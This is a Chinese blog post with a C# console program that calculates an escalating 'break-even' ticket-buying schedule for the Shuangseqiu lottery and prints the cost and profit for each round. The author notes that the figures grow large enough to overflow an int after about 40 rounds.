双色球保本的计算2

  总算把算出来了,数字大的惊人,40次的时候整形int会出现越界!

using System;
using System.Collections.Generic;
using System.Text;
namespace ConsoleApplication2
{
    class Program
    {  
        static void Main(string[] args)
        {
            //
初始化前面四次购买的次数
            aa[0] = 1;
            aa[1] = 1;
            aa[2] = 2;
            aa[3] = 3;
            //
初始化前面四次购买的总彩票个数
            Console.WriteLine("****
购买次数 *** 彩票数目 *** 本次费用 *** 总共费用 ( 包括本次 )*** 中蓝得奖 *** 赢利 ****");
            for (int a = 0; a < 4; a++)
            {
                for (int b = 0; b <= a; b++)
                {
                    bb[a] += aa[b];
                }
            }
                for (int i = 1; i <= 60; i++)
                {

                    NeedCount(i);
                    int j = aa[i - 1];//j 为购买的个数
                
                  
  Console.WriteLine("     {0,-12:D}{1,-12:D}{2,-14:D}{3,-15:D}{4,-13:D}{5,1:D}", i, j, j * 2, bb[i - 1] * 2, j * 5, (j * 5 - bb[i - 1] * 2));
                }
        Console.ReadLine();
        } 
        //
需要一个数组来存放每次够买的个数  这个数组是动态变化的  先固定到 60
        public static int[] aa = new int[60] ;
        
       public static int[] bb = new int[60];//
用来存储前面购买的彩票个数的和
        // 彩票的运算过程
        /// <summary>
        ///
N 次需要购买的个数
        /// </summary>
        /// <param name="i">
购买的次数 </param>
        /// <returns>
购买的个数 </returns>
        public static  void  NeedCount(int i)
        {
            //
进行循环判定 如果 GetMoney()>=Sum() 就确定了这次的购买个数

         
                for (int m = 1; m < int.MaxValue; m++)//m
是购买的个数
                {
                    //if (i <= 2)
                    //{
                    //    aa[i - 1] = 1;
                    //    return;
                    //}
                    //else if (i == 3)
                    //{
                    //    aa[i - 1] = 2;
                    //    return;
                    //}
                    //else if (i == 4)
                    //{
                    //    aa[i - 1] = 3;
                    //    return;
                    //}

                    if (i > 4)
                    {

                        aa[i - 1] = i;//
在第 5 次以后购买的时候先假设购买的个数为次数。
                        bb[i - 1] = bb[i - 2] + i;
                        if (BiJiao(m, i))
                        {
                            aa[i - 1] = m;
                            bb[i - 1] = bb[i - 2] + m;
                            //
在进行一次比较把本次购买的费用加上
                            if (BiJiao(m, i))
                            {
                                bb[i - 1] = bb[i - 2] + m;//
这里需要把这次的购买票数存到 bb ,
                                return;
                            }
                            else
                            {
                                continue;
                            }
                        }
                    }
                    else return;
                }
          
        }
        public static bool BiJiao(int m,int i)
        {
            if (GetMoney(m) >= Sum(i))
                return true;
            else return false;
 
        }
     
        /// <summary>
        ///
j 次连这次的总的花费
        /// </summary>
        /// <returns></returns>
        public static  int Sum(int j)
        {
            //
需要知道每一次购买的个数就可以了
            int sum = 0;
            //for (int i = 1; i <=j; i++)
            //{
            //    sum+=aa[i-1] * 2;
            //}
            //
这个太耗性能,每次都要计算 在计算到32次的时候非常慢
            sum = bb[j - 1] * 2;
            return sum;
        }
        /// <summary>
        ///
N 次中了的话得到的 money
        /// </summary>
        /// <returns></returns>
        public static int GetMoney(int a)
        {
           //
需要知道这次购买的个数
            return 5 * a;
        }
    }
}


 

 
结果如下 :

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值